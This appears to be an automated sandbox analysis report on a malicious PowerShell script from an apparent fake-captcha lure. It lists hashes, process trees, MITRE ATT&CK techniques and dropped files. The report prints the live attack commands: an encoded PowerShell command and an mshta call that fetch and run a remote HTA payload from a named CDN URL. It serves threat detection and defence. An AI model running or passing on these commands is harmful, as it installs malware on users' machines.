b1fd8a4efda12d4ce3f7fa8adaf705dbab2b3b73434334c1fcb2306ff1d390b1

Analysis

max time kernel
1200s
max time network
1199s
platform
windows11-21h2_x64
resource
win11-20240802-en
resource tags

arch:x64arch:x86image:win11-20240802-enlocale:en-usos:windows11-21h2-x64system
submitted
08/08/2024, 23:15

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General

Target

verify-captcha-987.b-cdn.net.ps1
Size

147B
MD5

461d549b45e71d09f616ea14cf0f46d2
SHA1

eb06f635e30520fd8e764a3c6fc1216c798400c7
SHA256

b1fd8a4efda12d4ce3f7fa8adaf705dbab2b3b73434334c1fcb2306ff1d390b1
SHA512

ea3dc372f83d76964b01a0437febaef0b725267af8a2e72d55995e301ed5fea02d1792900e4ef7dee5068f2e41d96f7cdb12ed6932fff8637562e64fddb93b4f

Score

10^/10

execution

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

https://microsoftcamp-c3.b-cdn.net/camp-v1

Signatures

Blocklisted process makes network request 5 IoCs

flow	pid	Process
2	2080	mshta.exe
4	2080	mshta.exe
5	2080	mshta.exe
6	2080	mshta.exe
8	2080	mshta.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2988	powershell.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
2988	powershell.exe
2988	powershell.exe
4936	powershell.exe
4936	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2988	powershell.exe
Token: SeDebugPrivilege	4936	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 2988 wrote to memory of 4936	2988	powershell.exe	81
PID 2988 wrote to memory of 4936	2988	powershell.exe	81
PID 4936 wrote to memory of 2080	4936	powershell.exe	82
PID 4936 wrote to memory of 2080	4936	powershell.exe	82

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\verify-captcha-987.b-cdn.net.ps1
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2988
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -eC bQBzAGgAdABhACAAaAB0AHQAcABzADoALwAvAG0AaQBjAHIAbwBzAG8AZgB0AGMAYQBtAHAALQBjADMALgBiAC0AYwBkAG4ALgBuAGUAdAAvAGMAYQBtAHAALQB2ADEA
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4936
- - C:\Windows\system32\mshta.exe
    "C:\Windows\system32\mshta.exe" https://microsoftcamp-c3.b-cdn.net/camp-v1
    3⤵
    - Blocklisted process makes network request
    PID:2080

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
627073ee3ca9676911bee35548eff2b8

SHA1
4c4b68c65e2cab9864b51167d710aa29ebdcff2e

SHA256
85b280a39fc31ba1e15fb06102a05b8405ff3b82feb181d4170f04e466dd647c

SHA512
3c5f6c03e253b83c57e8d6f0334187dbdcdf4fa549eecd36cbc1322dca6d3ca891dc6a019c49ec2eafb88f82d0434299c31e4dfaab123acb42e0546218f311fb

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
235a8eb126d835efb2e253459ab8b089

SHA1
293fbf68e6726a5a230c3a42624c01899e35a89f

SHA256
5ffd4a816ae5d1c1a8bdc51d2872b7dd99e9c383c88001d303a6f64a77773686

SHA512
a83d17203b581491e47d65131e1efc8060ff04d1852e3415fc0a341c6a9691ef9f4cf4dd29d2f6d0032a49f2ba4bd36c35b3f472f0ce5f78f4bb139124760e92

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_msgab5gx.bim.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2988-9-0x000001F0FA6D0000-0x000001F0FA6F2000-memory.dmp

Filesize
136KB

Download
memory/2988-10-0x00007FF97C230000-0x00007FF97CCF2000-memory.dmp

Filesize
10.8MB

Download
memory/2988-11-0x00007FF97C230000-0x00007FF97CCF2000-memory.dmp

Filesize
10.8MB

Download
memory/2988-12-0x00007FF97C230000-0x00007FF97CCF2000-memory.dmp

Filesize
10.8MB

Download
memory/2988-0-0x00007FF97C233000-0x00007FF97C235000-memory.dmp

Filesize
8KB

Download
memory/2988-32-0x00007FF97C230000-0x00007FF97CCF2000-memory.dmp

Filesize
10.8MB

Download
memory/4936-13-0x00007FF97C230000-0x00007FF97CCF2000-memory.dmp

Filesize
10.8MB

Download
memory/4936-26-0x00007FF97C230000-0x00007FF97CCF2000-memory.dmp

Filesize
10.8MB

Download
memory/4936-27-0x00007FF97C230000-0x00007FF97CCF2000-memory.dmp

Filesize
10.8MB

Download
memory/4936-15-0x00007FF97C230000-0x00007FF97CCF2000-memory.dmp

Filesize
10.8MB

Download
memory/4936-14-0x00007FF97C230000-0x00007FF97CCF2000-memory.dmp

Filesize
10.8MB

Download